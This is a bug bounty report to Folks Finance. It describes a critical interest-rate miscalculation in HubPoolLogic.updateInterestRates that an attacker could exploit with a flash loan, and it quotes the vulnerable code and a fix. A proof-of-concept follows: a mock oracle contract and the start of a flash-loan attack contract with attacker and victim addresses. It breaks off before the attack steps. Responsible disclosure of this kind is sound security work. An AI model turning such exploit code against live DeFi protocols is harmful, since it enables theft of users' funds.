Boost _ Folks Finance 33533 - [Smart Contract - Critical] depositDatainterestRate is not correct

Submitted on Mon Jul 22 2024 16:32:36 GMT-0400 (Atlantic Standard Time) by @ethprotector for Boost | Folks Finance

Report ID: #33533

Report type: Smart Contract

Report severity: Critical

Target: https://testnet.snowtrace.io/address/0x96e957bF63B5361C5A2F45C97C46B8090f2745C2

Impacts:

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Brief/Intro

In HubPoolLogic.updateInterestRates function depositData.interestRate is not calculated correctly.

Vulnerability Details

function updateInterestRates(HubPoolState.PoolData storage poolData) internal {
        HubPoolState.PoolAmountDataCache memory poolAmountDataCache = getPoolAmountDataCache(poolData);
        uint256 totalDebt = poolAmountDataCache.variableBorrowTotalAmount + poolAmountDataCache.stableBorrowTotalAmount;
        uint256 utilisationRatio = MathUtils.calcUtilisationRatio(totalDebt, poolData.depositData.totalAmount);
        uint32 vr1 = poolData.variableBorrowData.vr1;

        // calculate new interest rates
        uint256 variableBorrowInterestRate = MathUtils.calcVariableBorrowInterestRate(
            poolData.variableBorrowData.vr0,
            vr1,
            poolData.variableBorrowData.vr2,
            utilisationRatio,
            poolData.depositData.optimalUtilisationRatio
        );
        uint256 stableBorrowInterestRate = MathUtils.calcStableBorrowInterestRate(
            vr1,
            poolData.stableBorrowData.sr0,
            poolData.stableBorrowData.sr1,
            poolData.stableBorrowData.sr2,
            poolData.stableBorrowData.sr3,
            utilisationRatio,
            poolData.depositData.optimalUtilisationRatio,
            MathUtils.calcStableDebtToTotalDebtRatio(poolAmountDataCache.stableBorrowTotalAmount, totalDebt),
            poolData.stableBorrowData.optimalStableToTotalDebtRatio
        );
        uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
            utilisationRatio,
            MathUtils.calcOverallBorrowInterestRate(
                poolAmountDataCache.variableBorrowTotalAmount,
                poolAmountDataCache.stableBorrowTotalAmount,
                poolData.variableBorrowData.interestRate,
                poolData.stableBorrowData.averageInterestRate
            ),
            poolData.feeData.retentionRate
        );

        // update interest rates
        poolData.variableBorrowData.interestRate = variableBorrowInterestRate;
        poolData.stableBorrowData.interestRate = stableBorrowInterestRate;
        poolData.depositData.interestRate = depositInterestRate;

        emit InterestRatesUpdated(variableBorrowInterestRate, stableBorrowInterestRate, depositInterestRate);
    }
uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
            utilisationRatio,
            MathUtils.calcOverallBorrowInterestRate(
                poolAmountDataCache.variableBorrowTotalAmount,
                poolAmountDataCache.stableBorrowTotalAmount,
                poolData.variableBorrowData.interestRate,
                poolData.stableBorrowData.averageInterestRate
            ),
            poolData.feeData.retentionRate
        );

poolData.variableBorrowData.interestRate is not current value. That is for last updates. So if the attacker uses flashloan, when the tx is complated, depositData.interestRate is changed.

Impact Details

  • Attacker can make the depositData.interestRate more than actual value. So when users (and the attacker) can get more collateral tokens than expected and others loss the money.

  • Attacker can make the depositData.interestRate smaller than actual value and liquidate some loans.

To fix it

use variableBorrowInterestRate instead of poolData.variableBorrowData.interestRate,

uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
            utilisationRatio,
            MathUtils.calcOverallBorrowInterestRate(
                poolAmountDataCache.variableBorrowTotalAmount,
                poolAmountDataCache.stableBorrowTotalAmount,
                variableBorrowInterestRate,
                poolData.stableBorrowData.averageInterestRate
            ),
            poolData.feeData.retentionRate
        );

Proof of concept

Proof of Concept

In this PoC, I am going to show the first case (make the value more).

Create oracleManager.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./interfaces/DataTypes.sol";

contract OracleManager is IOracleManager{
    function processPriceFeed(uint8 poolId) external view returns (DataTypes.PriceFeed memory priceFeed) {
        priceFeed.price = 1000130000000000000;
        priceFeed.decimals = 6;
    }
}

After a year, the contract is break in the testnet. So I used fixed price oracleManager for this test.

Create FlashloanContract.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "./PoC.sol";
import "./interfaces/IHubCircleTokenPool.sol";
import "./interfaces/ILoanManager.sol";
import "./interfaces/ISpokeCommon.sol";
import "./interfaces/ISpokeCircleToken.sol";
import "./interfaces/IHub.sol";


contract FlashloanContract is IERC3156FlashBorrower{
    ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
    ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
    IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
    IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
    IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
    ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);

    address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
    address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
    address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;

    uint256 private _1USDC = 1e6;
    uint256 private _1TOKEN = 1e18;

    bytes32 private attackerAccountId = bytes32("attackerAccountId");
    bytes32 private attackerLoanId = bytes32("attackerLoanId");
    bytes32 private userAccountId = bytes32("userAccountId");
    bytes32 private userLoanId = bytes32("userLoanId");

    bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");

    bytes32 private refAccountId;

    uint8 private constant poolId = 128;


    bytes32 private stableLoanId = bytes32("stableLoanId");
    bytes32 private variableLoanId = bytes32("variableLoanId");

    Messages.MessageParams private params;

    constructor() {
        params = Messages.MessageParams({
            adapterId: 1,
            returnAdapterId: 1,
            receiverValue: 0,
            gasLimit: 0,
            returnGasLimit: 0
        });